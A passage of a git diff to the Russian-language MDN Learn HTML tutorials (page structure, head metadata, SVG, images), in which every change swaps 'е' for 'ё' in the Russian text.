добавив ещё один элемент {{htmlelement ("link")}} чуть ниже существующего, указанного в начале.</li> </ul> <h2 id="Советы_и_подсказки">Советы и подсказки</h2> @@ -71,7 +71,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content <ul> <li>Используйте <a href="https://validator.w3.org/">W3C HTML validator</a> для проверки вашего HTML; вы получите бонусные баллы, если он будет проверять как можно больше (строка «googleapis» используется для импорта пользовательских шрифтов на страницу из службы Google Fonts, она не проверяет, но не беспокойтесь об этом слишком много - валидатор - полезный инструмент, но 100% проверка является идеальной, а не полностью необходимой).</li> <li>Вам не нужно знать CSS, чтобы сделать эту оценку; вам просто нужно поместить предоставленный CSS внутри HTML-элемента.</li> - <li>Предоставленный CSS разработан таким образом, что при добавлении правильных структурных элементов в разметку они будут отображаться зелеными на отображаемой странице.</li> + <li>Предоставленный CSS разработан таким образом, что при добавлении правильных структурных элементов в разметку они будут отображаться зелёными на отображаемой странице.</li> <li>Если вы застряли и не можете понять, какие элементы куда помещать, часто помогает вывести простую блок-схему макета страницы и сделать надписи на элементах, которые, по вашему мнению, должны обернуть каждый блок.</li> </ul> @@ -94,7 +94,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li> - <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></li> + <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></li> diff --git a/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html index 6c762e94ac..0635ec9342 100644 --- a/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html +++ b/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html @@ -60,14 +60,14 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML </body> </html></pre> -<p>Содержимое {{htmlelement("head")}}, в отличие от содержимого элемента {{htmlelement("body")}}, не отображается на странице. Задача <head> — хранить {{glossary("Metadata", "метаданные")}} документа. В приведенном выше примере <head> совсем небольшой:</p> +<p>Содержимое {{htmlelement("head")}}, в отличие от содержимого элемента {{htmlelement("body")}}, не отображается на странице. Задача <head> — хранить {{glossary("Metadata", "метаданные")}} документа. В приведённом выше примере <head> совсем небольшой:</p> <pre class="brush: html notranslate"><head> <meta charset="utf-8"> <title>Моя тестовая страница</title> </head></pre> -<p>Однако на больших страницах блок <head> может быть довольно объемным. Попробуйте зайти на какие-нибудь из ваших любимых сайтов и посмотреть содержимое <head> с помощью <a href="/ru/docs/Learn/Discover_browser_developer_tools">инструментов разработчика</a>. Наша цель сейчас — не в том, чтобы показать вам, как использовать всё, что только можно добавить в head, а дать представление и научить вас, как использовать основные элементы. Давайте начнем.</p> +<p>Однако на больших страницах блок <head> может быть довольно объёмным. Попробуйте зайти на какие-нибудь из ваших любимых сайтов и посмотреть содержимое <head> с помощью <a href="/ru/docs/Learn/Discover_browser_developer_tools">инструментов разработчика</a>. Наша цель сейчас — не в том, чтобы показать вам, как использовать всё, что только можно добавить в head, а дать представление и научить вас, как использовать основные элементы. Давайте начнем.</p> <h2 id="Название_страницы_title">Название страницы (title)</h2> @@ -174,7 +174,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <h3 id="Другие_виды_метаданных">Другие виды метаданных</h3> -<p>В сети вы найдете также другие типы метаданных. Многие из них — это собственные форматы, созданные для предоставления определенным сайтам (например, социальных сетей) специальной информации, которую они могут использовать.</p> +<p>В сети вы найдёте также другие типы метаданных. Многие из них — это собственные форматы, созданные для предоставления определённым сайтам (например, социальных сетей) специальной информации, которую они могут использовать.</p> <p>Например, <a href="https://ruogp.me/">Протокол Open Graph</a> создан Facebook чтобы предоставить сайтам дополнительные возможности использования метаданных. В исходном коде MDN Web Docs вы можете найти строки:</p> @@ -187,7 +187,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p>Один из результатов добавления этих метаданных в том, что когда вы добавите ссылку MDN Web Docs на facebook, она отобразится с изображением и описанием, улучшая опыт взаимодействия <em><a href="https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D1%8B%D1%82_%D0%B2%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%8F">(User eXperience, UX</a>)</em>.</p> -<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">У Twitter также есть собственный формат метаданных, с помощью которого создается аналогичный эффект, при отображении URL сайта на twitter.com:</p> +<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">У Twitter также есть собственный формат метаданных, с помощью которого создаётся аналогичный эффект, при отображении URL сайта на twitter.com:</p> <pre class="brush: html notranslate"><meta name="twitter:title" content="MDN Web Docs"></pre> @@ -221,7 +221,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p>В комментариях указано, для чего используется каждая иконка — например, при добавлении страницы на домашний экран iPad будет использована иконка в высоком разрешении. </p> -<p>Не беспокойтесь о реализации всех этих типов значков — это довольно продвинутая функция, и мы не станем возвращаться к ней в курсе. Основная цель — показать вам, что это такое, если вы столкнетесь с ними при просмотре исходного кода других веб-сайтов.</p> +<p>Не беспокойтесь о реализации всех этих типов значков — это довольно продвинутая функция, и мы не станем возвращаться к ней в курсе. Основная цель — показать вам, что это такое, если вы столкнётесь с ними при просмотре исходного кода других веб-сайтов.</p> <h2 id="Подключение_CSS_и_JavaScript">Подключение CSS и JavaScript</h2> @@ -293,7 +293,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li> - <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></li> + <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></li> diff --git a/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html b/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html index 3d241796d9..e6ce44bb9d 100644 --- a/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html @@ -26,7 +26,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi </table> <div class="note"> -<p><strong>Примечание</strong>: Данная статья не научит Вас векторной графике, а даст понимание что это и как ее использовать в веб-документах.</p> +<p><strong>Примечание</strong>: Данная статья не научит Вас векторной графике, а даст понимание что это и как её использовать в веб-документах.</p> </div> <h2 id="Что_такое_векторная_графика">Что такое векторная графика?</h2> @@ -34,7 +34,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi <p>В веб-разработке Вы будете сталкиваться с двумя типами изображений - растровым и векторным:</p> <ul> - <li>Растровое изображение задается сеткой пикселей — файл растрового изображения содержит информацию о расположении и цвете каждого пикселя. Среди популярных форматов изображений данного типа числятся Bitmap (.bmp), PNG (.png), JPEG (.jpg) и GIF (.gif)</li> + <li>Растровое изображение задаётся сеткой пикселей — файл растрового изображения содержит информацию о расположении и цвете каждого пикселя. Среди популярных форматов изображений данного типа числятся Bitmap (.bmp), PNG (.png), JPEG (.jpg) и GIF (.gif)</li> <li>Векторное изображение определяется алгоритмом — файл векторного изображения содержит фигуры и правила, по которым компьютер может вычислить как должно выглядеть изображение, когда выводится на экран.{{glossary("SVG")}} формат позволяет нам создавать векторную графику для использования в веб-документах.</li> </ul> @@ -56,7 +56,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi <p><a href="https://developer.mozilla.org/en-US/docs/Web/SVG">SVG</a> это язык на базе {{glossary("XML")}} для описания векторных изображений. По сути это язык разметки, как и HTML, только содержащий множество различных элементов для определения фигур вашего изображения, а также параметров их отображения. SVG предназначен для разметки графики, а не содержимого. В простейшем случае, Вы можете использовать элементы для создания простых фигур, таких как {{svgelement("circle")}}(круг) и {{svgelement("rect")}}(прямоугольник). Более сложные SVG элементы включают {{svgelement("feColorMatrix")}} (разложение цвета с использованием матрицы), {{svgelement("animate")}} (анимация частей Вашего векторного изображения) и {{svgelement("mask")}} (применение маски к изображению.)</p> -<p>В качестве простого примера, следующий код создает круг и прямоугольник:</p> +<p>В качестве простого примера, следующий код создаёт круг и прямоугольник:</p> <pre class="brush: html notranslate"><svg version="1.1" baseProfile="full" @@ -75,7 +75,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi <p>Дополнительные преимущества SVG:</p> <ul> - <li>Текст в векторном изображении остается машинописным (то есть доступным для поисковика, что улучшает {{glossary("SEO")}}).</li> + <li>Текст в векторном изображении остаётся машинописным (то есть доступным для поисковика, что улучшает {{glossary("SEO")}}).</li> <li>SVG легко поддаются стилизации/программированию (scripting), потому что каждый компонент изображения может быть стилизован с помощью CSS или запрограммирован с помощью JavaScript.</li> </ul> @@ -99,7 +99,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi <h3 id="Быстрый_путь_htmlelementimg">Быстрый путь: {{htmlelement("img")}}</h3> -<p>Чтобы встроить SVG используя элемент {{htmlelement ("img")}}, вам просто нужно сослаться на него в атрибуте src, как и следовало ожидать. Вам понадобится атрибут <code>height</code> или <code>width</code> (или оба, если ваш SVG не имеет собственного соотношения сторон). Если вы еще этого не делали, пожалуйста, прочтите <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Изображения в HTML</a>.</p> +<p>Чтобы встроить SVG используя элемент {{htmlelement ("img")}}, вам просто нужно сослаться на него в атрибуте src, как и следовало ожидать. Вам понадобится атрибут <code>height</code> или <code>width</code> (или оба, если ваш SVG не имеет собственного соотношения сторон). Если вы ещё этого не делали, пожалуйста, прочтите <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Изображения в HTML</a>.</p> <pre class="brush: html notranslate"><img src="equilateral.svg" @@ -118,7 +118,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi <ul> <li>Вы не можете изменять изображение с помощью JavaScript.</li> - <li>Если вы хотите управлять содержимым SVG с помощью CSS, вы должны использовать встроенные CSS стили в своем SVG коде. (Внешние таблицы стилей, вызываемые из файла SVG, не действуют.)</li> + <li>Если вы хотите управлять содержимым SVG с помощью CSS, вы должны использовать встроенные CSS стили в своём SVG коде. (Внешние таблицы стилей, вызываемые из файла SVG, не действуют.)</li> <li>Вы не можете изменить стиль изображения с помощью псевдоклассов CSS (например <code>:focus</code>).</li> </ul> @@ -128,7 +128,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi <pre class="brush: html notranslate"><img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"></pre> -<p>Также вы можете использовать SVG в качестве фоновых изображение CSS, как показано ниже. В приведенном коде ниже старые браузеры будут придерживаться PNG, который они понимают, тогда как новые браузеры будут загружать SVG:</p> +<p>Также вы можете использовать SVG в качестве фоновых изображение CSS, как показано ниже. В приведённом коде ниже старые браузеры будут придерживаться PNG, который они понимают, тогда как новые браузеры будут загружать SVG:</p> <pre class="brush: css notranslate"><code>background: url("fallback.png") no-repeat center;</code> background<code>-image: url("image.svg"); @@ -140,7 +140,7 @@ background-size: contain;</code></pre> <h3 id="Как_включить_SVG_в_ваш_HTML_код">Как включить SVG в ваш HTML код</h3> -<p>Вы можете открыть файл SVG в текстовом редакторе, скопировать этот код и вставить его в ваш HTML документ — такой прием иногда называют встраиванием SVG (<strong>SVG inline</strong> или <strong>inlining SVG</strong>). Убедитесь, что фрагмент вашего SVG кода начинается и заканчивается с тегов <code><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg"><svg></svg></a></code> (не включайте ничего, кроме них). Вот очень простой пример того, что вы можете вставить в ваш документ:</p> +<p>Вы можете открыть файл SVG в текстовом редакторе, скопировать этот код и вставить его в ваш HTML документ — такой приём иногда называют встраиванием SVG (<strong>SVG inline</strong> или <strong>inlining SVG</strong>). Убедитесь, что фрагмент вашего SVG кода начинается и заканчивается с тегов <code><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg"><svg></svg></a></code> (не включайте ничего, кроме них). Вот очень простой пример того, что вы можете вставить в ваш документ:</p> <pre class="brush: html notranslate"><svg width="300" height="200"> <rect width="100%" height="100%" fill="green" /> @@ -150,7 +150,7 @@ background-size: contain;</code></pre> <h4 id="Плюсы_2">Плюсы</h4> <ul> - <li>Вставка вашего SVG путем <strong>SVG inline </strong>позволяет сохранить HTTP запросы и, следовательно, может уменьшить время загрузки.</li> + <li>Вставка вашего SVG путём <strong>SVG inline </strong>позволяет сохранить HTTP запросы и, следовательно, может уменьшить время загрузки.</li> <li>Вы можете присваивать <code>class</code>-ы и <code>id</code> элементам SVG и стилизовать их при помощи CSS, либо в пределах SVG, либо <span class="tlid-translation translation" lang="ru"><span title="">внутри SVG, либо там, где вы размещаете правила стиля CSS для вашего HTML документа. По факту вы можете использовать любой</span></span> <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute#Presentation_attributes">атрибут представления SVG </a>как свойство CSS.</li> <li><strong>SVG inline </strong>единственный метод, который позволяет вам использовать CSS-взаимодействия (как <code>:focus</code>) и CSS-анимацию на вашем SVG изображении (даже в вашей обычной таблице стилей).</li> <li>Вы можете разметить SVG как гиперссылку, обернув в элемент {{htmlelement("a")}}.</li> @@ -178,7 +178,7 @@ background-size: contain;</code></pre> <img src="triangle.png" alt="Triangle with three unequal sides" /> </iframe></pre> -<p>Это - определенно не самый лучший метод для выбора:</p> +<p>Это - определённо не самый лучший метод для выбора:</p> <h4 id="Минусы_3">Минусы</h4> @@ -189,7 +189,7 @@ background-size: contain;</code></pre> <h2 id="Активное_изучение_поиграйте_с_SVG">Активное изучение: поиграйте с SVG</h2> -<p>В этом разделе активного изучения мы бы хотели, чтобы вы просто попробовали поиграть с SVG. Ниже, в области <em>Input,</em> вы увидите, что мы уже предоставили некий пример для того, чтобы вы начали. А еще вы можете посетить <a href="/en-US/docs/Web/SVG/Element">SVG Element Reference</a>, чтобы узнать больше деталей о других игрушках, которые могут быть использованы в SVG, и тоже попробовать их. Этот раздел полностью посвящен практике ваших исследовательских навыков и вашему развлечению.</p> +<p>В этом разделе активного изучения мы бы хотели, чтобы вы просто попробовали поиграть с SVG. Ниже, в области <em>Input,</em> вы увидите, что мы уже предоставили некий пример для того, чтобы вы начали. А ещё вы можете посетить <a href="/en-US/docs/Web/SVG/Element">SVG Element Reference</a>, чтобы узнать больше деталей о других игрушках, которые могут быть использованы в SVG, и тоже попробовать их. Этот раздел полностью посвящён практике ваших исследовательских навыков и вашему развлечению.</p> <p>Если Вы где-то застряли и ваш код не работает, Вы всегда можете начать сначала, нажав кнопку <em>Reset</em>.</p> @@ -324,7 +324,7 @@ textarea.onkeyup = function(){ <h2 id="Заключение">Заключение</h2> -<p>Эта статья предоставила вам краткий обзор по тому, что такое векторная графика и SVG, почему полезно знать о них и как внедрять SVG в вашу веб-страницу. Эта статья не является полным руководством по изучению SVG, а всего лишь указатель, чтоб вы знали что такое SVG, на случай, если вы встретите его во время странствий по Сети. Так что не переживайте, если вы еще не чувствуете себя экспертом в SVG. Ниже мы включили несколько ссылок, которые могут вам помочь, если вы хотите узнать больше о том, как это работает.</p> +<p>Эта статья предоставила вам краткий обзор по тому, что такое векторная графика и SVG, почему полезно знать о них и как внедрять SVG в вашу веб-страницу. Эта статья не является полным руководством по изучению SVG, а всего лишь указатель, чтоб вы знали что такое SVG, на случай, если вы встретите его во время странствий по Сети. Так что не переживайте, если вы ещё не чувствуете себя экспертом в SVG. Ниже мы включили несколько ссылок, которые могут вам помочь, если вы хотите узнать больше о том, как это работает.</p> <p>В последней статье этого модуля мы будем исследовать адаптивные изображения в деталях, рассматривая инструменты HTML, которые позволяют делать ваши изображения так, чтоб они могли лучше работать на разных устройствах.</p> diff --git a/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html index 3dc16ecfd2..c9b088742d 100644 --- a/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html @@ -60,7 +60,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <li>пока у вас не будет достаточно доказательств что изображение находится в открытом доступе.</li> </ul> -<p>Нарушение авторских прав является незаконным. Кроме того, никогда не указывайте в своем атрибуте <code>src</code> ссылку на изображение, размещенное на чужом сайте. Это называется "хотлинкинг" (с англ. 'hotlinking' - 'горячая ссылка'). Запомните, кража пропускной способности чужого сайта незаконна. Это также замедляет вашу страницу и не позволяет вам контролировать, будет ли изображение удалено или заменено чем-то неприятным.</p> +<p>Нарушение авторских прав является незаконным. Кроме того, никогда не указывайте в своём атрибуте <code>src</code> ссылку на изображение, размещённое на чужом сайте. Это называется "хотлинкинг" (с англ. 'hotlinking' - 'горячая ссылка'). Запомните, кража пропускной способности чужого сайта незаконна. Это также замедляет вашу страницу и не позволяет вам контролировать, будет ли изображение удалено или заменено чем-то неприятным.</p> </div> <p>Наш код выше даст нам следующий результат:</p> @@ -77,7 +77,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <h3 id="Альтернативный_текст">Альтернативный текст</h3> -<p>Следующий атрибут, который мы рассмотрим — <code>alt</code>. Его значением должно быть текстовое описание изображения для использования в ситуациях, когда изображение не может быть просмотрено / отображено или отрисовка занимает много времени из-за медленного интернет-соединения. Чтобы продемонстрировать использование атрибута <code>alt</code> на практике, внесем изменения в код из предыдущего примера:</p> +<p>Следующий атрибут, который мы рассмотрим — <code>alt</code>. Его значением должно быть текстовое описание изображения для использования в ситуациях, когда изображение не может быть просмотрено / отображено или отрисовка занимает много времени из-за медленного интернет-соединения. Чтобы продемонстрировать использование атрибута <code>alt</code> на практике, внесём изменения в код из предыдущего примера:</p> <pre class="notranslate"><img src="images/dinosaur.jpg" alt="Голова и туловище скелета динозавра; @@ -85,14 +85,14 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <p>Самый простой способ увидеть атрибут <code>alt</code> в действии — это сделать намеренную ошибку в имени файла. Например, если бы мы написали имя изображения как <code>dinosooooor.jpg</code>, браузер не смог бы его отобразить, и на экране появился бы текст из атрибута <code>alt</code>:</p> -<p><img alt="The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place." src="https://mdn.mozillademos.org/files/12702/alt-text.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;">Итак, в каких случаях текст из атрибута <code>alt</code> может быть нам полезен? Приведем несколько примеров:</p> +<p><img alt="The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place." src="https://mdn.mozillademos.org/files/12702/alt-text.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;">Итак, в каких случаях текст из атрибута <code>alt</code> может быть нам полезен? Приведём несколько примеров:</p> <ul> <li>Пользователь с нарушением зрения использует <a href="https://en.wikipedia.org/wiki/Screen_reader">устройство чтения с экрана</a>, которое может читать вслух описание элементов веб-страницы. На самом деле, наличие текста в атрибуте <code>alt</code> для описания изображения может быть полезно для большинства пользователей.</li> <li>В случае, если была допущена ошибка в имени файла или пути к нему (как было описано выше).</li> <li>Браузер не поддерживает формат данного изображения. Некоторые люди до сих пор используют текстовые браузеры, такие как <a href="https://en.wikipedia.org/wiki/Lynx_%28web_browser%29">Lynx</a>, которые вместо изображений отображают текст из атрибута <code>alt</code>.</li> <li>Если вы хотите добавить возможность найти ваше изображение с помощью поисковых систем. Например, поисковые системы могут искать совпадения поисковых запросов с текстом атрибута <code>alt</code>.</li> - <li>Если пользователи отключили отображение изображений на странице для уменьшения объема передаваемых данных и для сокрытия элементов, отвлекающих внимание. Это обычная практика для пользователей мобильных телефонов, а также в странах с маленькой пропускной способностью интернет-каналов и с высокой стоимостью интернет-трафика.</li> + <li>Если пользователи отключили отображение изображений на странице для уменьшения объёма передаваемых данных и для сокрытия элементов, отвлекающих внимание. Это обычная практика для пользователей мобильных телефонов, а также в странах с маленькой пропускной способностью интернет-каналов и с высокой стоимостью интернет-трафика.</li> </ul> <p>Что именно вы должны писать в атрибут <code>alt</code>? В первую очередь, это зависит от того, <em>зачем</em> изображение вообще находится на странице. Другими словами, что вы потеряете, если ваше изображение не появится:</p> @@ -100,7 +100,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <ul> <li><strong>Декорация. </strong>Вы должны использовать {{anch ("Фоновые изображения CSS")}} для декоративных изображений, но если вы должны использовать HTML, добавьте пустой alt = "". Если изображение служит просто украшением и не является частью содержимого, добавьте пустой <code>alt=""</code>. Например, программа чтения с экрана не тратит время на чтение содержимого, которое не является важным для пользователя.</li> <li><strong>Контент.</strong> Если ваше изображение содержит важную информацию, передайте ту же информацию через краткий<em> </em><code>alt</code>. Или даже лучше, в <em>главном</em> тексте, который все увидят. Не используйте <code>alt</code> , если можете обойтись без него. Насколько неудобно было бы для пользователя, если бы <em>параграфы</em> были написаны дважды в <em>главном контенте</em>? Если изображение адекватно описано в основном тексте, можете просто использовать <code>alt=""</code>.</li> - <li><strong>Ссылка.</strong> Если вы помещаете изображение в {{htmlelement("a")}}, для того, чтобы сделать из него ссылку, вы всё ещё должны <a href="/ru/docs/Learn/HTML/Введение_в_HTML/Создание_гиперссылок#Используйте_четкие_формулировки_описания_ссылок">использовать четкие формулировки описания ссылок</a>. В таком случае, вы сможете использовать элемент <code><a></code> или атрибут <code>alt</code> . Старайтесь выбрать лучший вариант.</li> + <li><strong>Ссылка.</strong> Если вы помещаете изображение в {{htmlelement("a")}}, для того, чтобы сделать из него ссылку, вы всё ещё должны <a href="/ru/docs/Learn/HTML/Введение_в_HTML/Создание_гиперссылок#Используйте_чёткие_формулировки_описания_ссылок">использовать чёткие формулировки описания ссылок</a>. В таком случае, вы сможете использовать элемент <code><a></code> или атрибут <code>alt</code> . Старайтесь выбрать лучший вариант.</li> <li><strong>Текст.</strong> Не пишите текст в изображениях. Если вашему заголовку понадобится тень, то лучше используйте для этого <a href="/ru/docs/Web/CSS/text-shadow">CSS</a> вместо добавления текста в изображение. Однако, если <em>действительно этого не избежать</em>, то вам следует дополнить текст в атрибуте <code>alt</code>.</li> </ul> @@ -126,7 +126,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <p>Это хорошая практика, в результате страница загрузится быстрее и более гладко.</p> -<p>Однако, вы не должны изменять размеры ваших изображений используя HTML атрибуты. Если вы установите размер изображения слишком большим, то в конечном итоге вы столкнетесь с изображениями, которые выглядят зернистыми, размытыми или слишком маленькими, и потратите трафик для загрузки изображения, которое не будет соответствовать нуждам пользователя. Конечное изображение может также выглядеть искажённым, если вы не сохраните правильное <a href="https://en.wikipedia.org/wiki/Aspect_ratio_(image)">соотношение сторон</a>. Рекомендуется использовать графический редактор для подгонки изображения к нужному размеру, перед вставкой его на вашу веб-страницу.</p> +<p>Однако, вы не должны изменять размеры ваших изображений используя HTML атрибуты. Если вы установите размер изображения слишком большим, то в конечном итоге вы столкнётесь с изображениями, которые выглядят зернистыми, размытыми или слишком маленькими, и потратите трафик для загрузки изображения, которое не будет соответствовать нуждам пользователя. Конечное изображение может также выглядеть искажённым, если вы не сохраните правильное <a href="https://en.wikipedia.org/wiki/Aspect_ratio_(image)">соотношение сторон</a>. Рекомендуется использовать графический редактор для подгонки изображения к нужному размеру, перед вставкой его на вашу веб-страницу.</p> <div class="note"> <p><strong>Примечание</strong>: Если вам действительно нужно изменить размер изображения, вы должны использовать вместо этого <a href="/ru/docs/Learn/CSS">CSS</a>.</p> @@ -143,7 +143,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM height="341" title="A T-Rex on display in the Manchester University Museum"></pre> -<p>Это дает нам всплывающую подсказку при наведении курсора мыши, также как и в ссылках:</p> +<p>Это даёт нам всплывающую подсказку при наведении курсора мыши, также как и в ссылках:</p> <p><img alt="The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum " src="https://mdn.mozillademos.org/files/12708/image-with-title.png" style="display: block; height: 341px; margin: 0px auto; width: 400px;"></p> @@ -241,7 +241,7 @@ window.addEventListener("load", drawOutput); <p>Это нормально. Это содержит всё что вам нужно, и красиво стилизуется с помощью CSS. Но, есть проблема: здесь нет ничего, что семантически связывает изображение с его заголовком, и это может вызвать сложности для читателей. Например, когда у вас есть 50 изображений и заголовков, какой заголовок идёт вместе с каким изображением?</p> -<p>Лучшим решением будет использование элементов HTML5 {{htmlelement("figure")}} и {{htmlelement("figcaption")}}. Они были созданы исключительно для этой цели: предоставить семантический контейнер для рисунков и четко связать рисунок с заголовком. Наш пример выше мог бы быть переписан так:</p> +<p>Лучшим решением будет использование элементов HTML5 {{htmlelement("figure")}} и {{htmlelement("figcaption")}}. Они были созданы исключительно для этой цели: предоставить семантический контейнер для рисунков и чётко связать рисунок с заголовком. Наш пример выше мог бы быть переписан так:</p> <pre class="notranslate"><figure> <img src="images/dinosaur.jpg" @@ 